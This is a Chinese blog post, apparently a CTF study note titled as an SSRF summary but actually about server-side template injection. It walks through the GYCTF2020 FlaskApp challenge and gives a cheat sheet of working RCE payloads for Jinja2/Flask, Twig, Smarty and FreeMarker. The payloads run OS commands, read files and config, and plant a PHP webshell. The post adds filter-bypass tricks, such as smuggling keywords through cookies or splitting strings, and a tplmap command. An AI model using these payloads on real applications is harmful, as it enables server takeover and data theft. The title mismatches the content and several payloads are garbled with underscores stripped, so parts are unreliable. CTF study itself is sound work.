CTF WEB总结之SSRF(一)

187 阅读2分钟

开启掘金成长之旅!这是我参与「掘金日新计划 · 12 月更文挑战」的第12天,点击查看活动详情

0x4、SSTI

php常见模板 smarty twig

例题 [GYCTF2020]FlaskApp


{% for x in ().__class__.__base__.__subclasses__() %}

{% if "warning" in x.__name__ %}

{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}

{%endif%}{%endfor%}

  


  


{% for c in [].__class__.__base__.__subclasses__() %}

{% if c.__name__=='catch_warnings' %}

{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}

{% endif %}{% endfor %}

  


  


{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}

  


  


{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}

  


  


{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}

一、常用的ssti的payload

要一下子弄清原理还是有困难呀,我还是想抄记一波(当然可能会被ban)。

  1. Smarty拿取webshell
  • {Smarty_Internal_Write_File::writeFile(SCRIPTNAME,"<?phppassthru(SCRIPT_NAME,"<?php passthru(_GET['cmd']); ?>",self::clearConfig())}
  1. Twig 命令执行
  • {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
  1. freeMarker
  • <#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
  1. python
  • {% for c in [].class.base.subclasses() %}
    {% if c.name=='_IterationGuard' %}
    {{ c.init.globals['builtins']'eval' }}
    {% endif %}
    {% endfor %}
  • {% for c in [].class.base.subclasses() %}
    {% if c.name == 'catch_warnings' %}
    {% for b in c.init.globals.values() %}
    {% if b.class == {}.class %}
    {% if 'eval' in b.keys() %}
    {{ b'eval' }}
    {% endif %}
    {% endif %}
    {% endfor %}
    {% endif %}
    {% endfor %}
  1. Jinjia2模板引擎通用的RCE Payload:
  • {% for c in [].class.base.subclasses() %}{% if c.name=='catch_warnings' %}{{ c.init.globals['builtins'].eval("import('os').popen('').read()") }}{% endif %}{% endfor %}
  1. python2
  • {{ ''.class.mro[2].subclasses()40.read() }}

    {{ ''.class.mro[2].subclasses()40.write('test') }}
    ####执行命令
    ''.class.mro[2].subclasses()[59].init.globals.builtins
    下有eval,__import__等的全局函数,可以利用此来执行命令:
    #eval
    ''.class.mro[2].subclasses()[59].init.globals['builtins']'eval'
    ''.class.mro[2].subclasses()[59].init.globals.builtins.eval("import('os').popen('id').read()")
    #import
    ''.class.mro[2].subclasses()[59].init.globals.builtins.import('os').popen('id').read()
    ''.class.mro[2].subclasses()[59].init.globals['builtins']'import'.popen('id').read()
  1. python3
  • #命令执行:
    {% for c in [].class.base.subclasses() %}{% if c.name=='catch_warnings' %}{{ c.init.globals['builtins'].eval("import('os').popen('id').read()") }}{% endif %}{% endfor %}
    #文件操作
    {% for c in [].class.base.subclasses() %}{% if c.name=='catch_warnings' %}{{ c.init.globals['builtins'].open('filename', 'r').read() }}{% endif %}{% endfor %}
    ####在本地python中测试
    这里的subclass为了找和os相关的 code IncrementDecoder
    ().class.bases[0].subclasses()[-4].init.globals'system'

    ().class.bases[0].subclasses()[93].init.globals["sys"].modules["os"].system("ls")

    ''.class.mro[1].subclasses()[104].init.globals["sys"].modules["os"].system("ls")

    [].class.base.subclasses()[127].init.globals'system'
    builtins.dict'impo'+'rt'.system('ls')

    s="".class.mro[-1].subclasses()[80].init.globals['builtins']"import".system("ls")

    ().class.bases[0].subclasses()[-1].init.globals['buil'+'tins']'impo'+'rt'.system('ls') python2

    {{"".class.mro[-1].subclasses()[10000].init.globals['builtins']'impo'+'rt'.system('ls')}}# 这里有一个bug直接输入一个很大的数就行

    {{a.init.globals['builtins']'impo'+'rt'.system('ls')}} 误会先

    {{a.init.globals['builtins']'impo'+'rt'.popen('ls').read()}}

    #{{a.init.globals['builtins'].eval("import")}}

    如果题目过滤了引号就用以下方式
    request.args.x1 get传参
    request.values.x1 post,get传参
    request.cookies.x1 cookie传参
    eg :
    {{a.init.globals[request.cookies.x1]request.cookies.x2.popen(request.cookies.x4).read()}}

    Cookie: x1=builtins;x2=import;x3=os;x4=ls

    如果题目过滤了.
    可以用|attr()

    如果题目过滤了中括号[]
    可以用__getitem__
    getattribute
    {%print(x.init.globals['bui''ltins']'imp''ort'.getattribute('pop''en')('ls').read())%}

    {{a.init.globals.getitem(request.cookies.x1).getitem(request.cookies.x2)(request.cookies.x3).popen(request.cookies.x4).read()}}
    Cookie: x1=builtins;x2=import;x3=os;x4=ls

    如果题目过滤了_下划线
    {{(x|attr(request.values.x1)|attr(request.values.x2)|attr(request.values.x3))(request.values.x4).eval(request.values.x5)}}&x1=init&x2=globals&x3=getitem&x4=builtins&x5=import("os").popen("ls").read()
    等价于
    (x.init.globals.getitem)("builtins").eval('import("os").popen("ls").read()')

    如果题目过滤了{{
    {%print(x.init.globals['bui''ltins']'imp''ort'.getattribute('pop''en')('ls').read())%}

    用这个for循环找有用的函数

    s="".class.mro[-1].subclasses()
    for i in s:
    try:
    i.init.globals['builtins']
    print(i,s.index(i))
    except:
    pass

  1. 添加一个flask的命令执行payload:
  • 就是拆分关键词进行绕过
  • {% for c in [].class.base.subclasses() %}
    {% if c.name == 'catch_warnings' %}
    {% for b in c.init.globals.values() %}
    {% if b.class == {}.class %}
    {% if 'eva'+'l' in b.keys() %}
    {{ b['eva'+'l']('impor'+'t'+'("o'+'s")'+'.pope'+'n'+'("ls /").read()') }}
    {% endif %}
    {% endif %}
    {% endfor %}
    {% endif %}
    {% endfor %}

flask 获得app.config中的flag

{{url_for.globals['current_app'].config}}

{{get_flashed_messages.globals['current_app'].config}}

二、tplmap工具

./tplmap.py -u "0c8c7410-6f8c-4ce0-ae98-aa1760bc2dfd.node4.buuoj.cn:81/" --cookie {'user':'a'} --level 5 --engine twig